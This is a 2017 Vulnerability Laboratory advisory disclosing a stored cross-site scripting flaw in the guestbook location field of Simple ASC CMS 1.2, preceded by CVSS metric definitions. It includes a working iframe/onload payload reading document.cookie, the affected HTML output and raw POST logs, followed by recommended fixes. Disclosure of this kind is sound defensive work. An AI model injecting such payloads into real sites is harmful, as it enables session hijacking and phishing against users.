The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
None
C
There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Simple ASC CMS 1.2 Cross Site ScriptingDocument Title:
===============
Simple ASC CMS v1.2 - (Guestbook) Persistent Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2072
Release Date:
=============
2017-05-21
Vulnerability Laboratory ID (VL-ID):
====================================
2072
Common Vulnerability Scoring System:
====================================
3.8
Vulnerability Class:
====================
Cross Site Scripting - Persistent
Product & Service Introduction:
===============================
Simple ASC CMS permit to create websites in minutes with its dynamic genaration of news menus links and pages. It use Access
Database and is simple to install. There is admin panel where you can manage all features. Provide advanced features as Polls
Forum and Guestbook. No need to install third parts components.
(COpy of the Homepage: http://www.aspsource.org/home/default.asp )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a stored cross site scripting vulnerability in the Simple ASC v1.2 CMS.
Vulnerability Disclosure Timeline:
==================================
2017-05-22: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
ASP Source Community
Product: Simple ASP - Content Management System (Web-Application) 1.2
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A stored cross site scripting vulnerability has been discovered in the official Simple ASC v1.2 Content Management System.
The vulnerability allows remote attackers to inject own malicious script code on application-side to compromise the affected
function or module of the online service web-application.
The stored cross site scripting vulnerability is located in the `location` input field in the `sign` function of the guestbook.
Remote attackers are able to inject own malicious script code via location parameter by a POST method request. The attack vector
of the vulnerability is persistent and the request method to inject is POST. The injection point is the vulnerable location input
field and the execution point occurs in the guestbook index. The vulnerable and affected files of the guestbook module are
`formgb.asp`, `msggb.asp` and `guestbook.asp`.
The security risk of the vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8.
Exploitation of the cross site vulnerability requires no privileged web-application user account and low user interaction.
Successful exploitation results in session hijacking, persistent phishings attacks, persistent external redirect and malware
loads or persistent manipulation of affected and connected module context.
Request Method(s):
[+] POST
Vulnerable Service(s):
[+] Guestbook
Vulnerable File(s):
[+] formgb.asp
[+] msggb.asp
Vulnerable Input Field(s):
[+] Location
Vulnerable Parameter(s):
[+] location
Affected Module(s):
[+] guestbook.asp
Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without privileged user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Open the web-application
2. Move to the integrated guestbook
3. Click to sign the guestbook
4. Inject the payload to the location input field to the guestbook formgb.asp file
5. Save the entry by a click to sign via POST method
6. The payload executes in the location parameter for all users of the content management system
7. Successful reproduce of the stored cross site scripting vulnerability!
PoC: Payload
<iframe src="http://www.vuln-lab.com" onload="alert(document.cookie)" <="">
PoC: Vulnerable Source
<tbody><tr><td colspan="2" class="par"></td></tr>
<tr><td colspan="3" align="center"><b><a href="formgb.asp">Sign Guestbook</a></b></td></tr>
<tr><td> </td></tr>
<tr><td>
<a href="guestbook.asp?pag=1">1</a>
<a href="guestbook.asp?pag=2">2</a>
</td></tr>
<tr class="prgb"><td align="left">
tester32 | >"[MALICIOUS PAYLOAD EXECUTION!]<iframe src="http://www.vuln-lab.com" onload="alert(document.cookie)" <="">
<a href="mailto:[email protected]"><img src="./imm/Email-Reply-icon.png" /></a>
<font size="1">**/**/2017 **:**:** AM</font></td>
</tr>
<tr><td><p>like it</p></td></tr>
<tr><td> </td></tr>
--- PoC Session Logs [POST] ---
Status: 302[Object moved]
POST http://localhost:8080/asccms/msggb.asp
Mime Type[text/html]
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Content-Type[application/x-www-form-urlencoded]
Content-Length[267]
Referer[http://localhost:8080/asccms/formgb.asp]
Cookie[ASPSESSIONIDAARCTTBT=NGDHMDMABACBBJGMEHOJHSGE]
Connection[keep-alive]
Upgrade-Insecure-Requests[1]
POST-Daten:
nick[tester32]
email[test32%40test.de]
loc[%3E%22%3Ciframe+src%3Dhttp%3A%2F%2Fwww.vuln-lab.com+onload%3Dalert%28document.cookie%29+%3C+++
%3E%22%3Ciframe+src%3Dhttp%3A%2F%2Fwww.vuln-lab.com+onload%3Dalert%28document.cookie%29+%3C MALICIOUS INJECTED PAYLOAD!]
txtmsg[%3Cp%3Elike+it%3C%2Fp%3E]
inum[10]
Response Header:
Cache-Control[private]
Content-Length[134]
Content-Type[text/html]
Location[guestbook.asp]
Server[Microsoft-IIS/7.5]
X-Powered-By[ASP.NET]
-
Status: 200[OK]
GET http://localhost:8080/asccms/guestbook.asp
Mime Type[text/html]
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Referer[http://localhost:8080/asccms/formgb.asp]
Cookie[ASPSESSIONIDAARCTTBT=NGDHMDMABACBBJGMEHOJHSGE]
Connection[keep-alive]
Upgrade-Insecure-Requests[1]
Response Header:
Cache-Control[private]
Content-Type[text/html]
Content-Encoding[gzip]
Vary[Accept-Encoding]
Server[Microsoft-IIS/7.5]
X-Powered-By[ASP.NET]
Content-Length[1354]
Reference(s):
http://localhost:8080/
http://localhost:8080/asccms/
http://localhost:8080/asccms/msggb.asp
http://localhost:8080/asccms/formgb.asp
http://localhost:8080/asccms/guestbook.asp
Solution - Fix & Patch:
=======================
1. Parse in all the files the location parameter via escape
2. Restrict the input field of the location by disallowing the usage of special chars to prevent attacks
3. Parse the location output in the main index of the guestbook to prevent the execution point
4. Setup a secure exception-handling and use entities to prevent further script code injection attacks
Security Risk:
==============
The security risk of the persistent input validation vulnerability in the guestbook module of the acs application is estimated as medium (CVSS 3.8).
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)
Disclaimer & Information:
=========================
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